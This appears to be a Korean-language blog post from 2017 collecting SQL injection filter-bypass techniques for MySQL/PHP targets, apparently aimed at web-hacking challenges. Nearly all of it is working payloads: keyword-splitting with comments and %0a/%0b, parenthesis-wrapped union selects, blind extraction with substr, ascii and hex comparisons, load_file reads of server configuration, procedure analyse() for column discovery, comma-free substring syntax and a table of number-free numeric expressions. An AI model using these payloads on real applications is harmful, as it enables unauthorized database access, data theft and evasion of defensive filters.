shnec
2017. 1. 31. 02:44
char(97,100,109,105,110)='admin'
0x31323334 = 1234
concat
reverse
replace
url encoding인 경우 %0b나 %0c 등을 넣으면 우회되는 경우도 있다.
ex) whe%0bre
++추가
1) And 와 OR
|| 와 &&를 사용한다.
ex) 1 || '1=1
2) Union select를 연달아 필터링 하는경우
"union select" 라는 연달아 붙어있는 문자열을 특수하게 필터링하는경우
union(select(pass)from(users)) 와같이 ()를 씀으로 필터링을 우회 할 수 있다 기본적으로 공백에도 적용되는 기법인데. 공백을 필요로 하는 부분을 ()로 묶어버리면된다.
예) select * from table where users = ~~일때
select(*)from(table)where(users)
또한 /**/도 사용할수 있다. union/*!*/select 혹은 union%0aselect.
%0a가 php내에서 개행함으로써 실제로 쿼리에 들어갈때 공백같은 역할을 하는것이다.
혹은 두가지 이상의 argument를 받을경우
verify.php?id=1 union/*&pass=*/select ~~~
이렇게 두 인자 사이에 넣음으로써도 우회가능하다.
3) Union 자체가 필터링 당했을경우
서브쿼리 혹은 substr, substring, left , right, lpad, rpad등을 이용해서 blind injection을 사용하자.
한가지 주위할점은 서브쿼리는 항상 ()로 둘러 쌓여야한다는것과 결과값이 항상 하나의 열만을 리턴해야된다는것! 웹해킹문제들에서도 자주 쓰이는 훼이크
4) Limit 필터
group by + having을 쓰거나
group_concat 혹은 max, min 등의 보조함수를 쓰자. Limit은 상당히 많은 역할을 하는 키워드라 필터링 되면 짜증난다.
5) Group 필터
where 나 having문을 써서 특수한 조건을 첨가하도록 만들어주자.
6) Having/Where 필터
이럴경우 substr, group_concat 등을 이용해 한문자씩 비교해어야 한다.
group_concat은 default로 앞에서부터 1024 chars만큼만 읽어 온다는것 주의!
7) Select 필터
이경우 상당히 난감하다. 하지만 FILE privilege가 있을경우 (root)
' and substr(load_file('file'),locate('DocumentRoot', (load_file('file')))+length('DocumentRoot'),10)='a
load_file/ outfile 등을 적절히 이용해서 읽을 수 있다. 일종의 블라인드 인젝션
혹은 컬럼 명을 알경우 / 추측하여
' and data is not null# 등과같이도 가능. 컬럼명을 모를때 procedure analyse()는 유용하다.
' procedure analyse()#. 유의할점은 procedure analyse는 현재 쿼리에서 사용되고 있는 column에 관한 정보만 뿌려준다는점
혹은 ifnull(nullif()), case when, if() 등을 적절히 이용해 참을 만들어 줄 수도 있다.
where name=' ' 이라고할때 '-0#은 참이라는 사실을 이용해
'-if(name='Admin',1,0)# 과 같이 사용가능.
-----------------------------------------------------------------------------
자이제 키워드 필터링이 되었을때 주로 내장 function들을 사용했다는것을 알수 있다 또한 ' ' 를 사용하는 문자열 까지도. 하지만 functino들 까지 필터링되고 매직쿼터가 켜져서 ' '를 사용하지 못할경우 어떻게 우회할 수 있을까
일단 문자열은
다음과 같이 가능하다
' and substr(data,1,1) = 'a'#
' and substr(data,1,1) = 0x61#
' and substr(data,1,1) = unhex(61)#
' and substr(data,1,1) = char(97)#
다 'a'로 변환된다.
얘내까지 막혔을경우
' and substr(data,1,1) = 'a'#
' and hex(substr(data,1,1)) = 61#
' and ascii(substr(data,1,1)) = 97#
' and ord(substr(data,1,1)) = 97#
이젠 숫자로 변환시켜 비교 한다.
또한 conv함수를 쓸수도 있다.
conv(10,10,36) = 'a'
또한 substr 대신
substring, mid 함수가 있다는 점도 유용하다.
',' 콤마까지 꼼꼼하게 막아놨다면 어떻게 할가
-> substr(data from 1 for 1 )
또 lpad, rpad, left, right(reverse함수와 같이) , insert 등을 쓸수있다.
locate, instr, position 또한 유용
숫자 필터링
숫자가 필터링 되어있을때 +,-,*,% 등을 필터링 한다면.
아래와 같은 cheat sheet또한 존재
false !pi() 0 ceil(pi()*pi()) 10 ceil((pi()+pi())*pi()) 20
true !!pi() 1 ceil(pi()*pi())+true 11 ceil(ceil(pi())*version()) 21
true+true 2 ceil(pi()+pi()+version()) 12 ceil(pi()*ceil(pi()+pi())) 22
floor(pi()) 3 floor(pi()*pi()+pi()) 13 ceil((pi()+ceil(pi()))*pi()) 23
ceil(pi()) 4 ceil(pi()*pi()+pi()) 14 ceil(pi())*ceil(version()) 24
floor(version()) 5 ceil(pi()*pi()+version()) 15 floor(pi()*(version()+pi())) 25
ceil(version()) 6 floor(pi()*version()) 16 floor(version()*version()) 26
ceil(pi()+pi()) 7 ceil(pi()*version()) 17 ceil(version()*version()) 27
floor(version()+pi()) 8 ceil(pi()*version())+true 18 ceil(pi()*pi()*pi()-pi()) 28
floor(pi()*pi()) 9 floor((pi()+pi())*pi()) 19 floor(pi()*pi()*floor(pi())) 29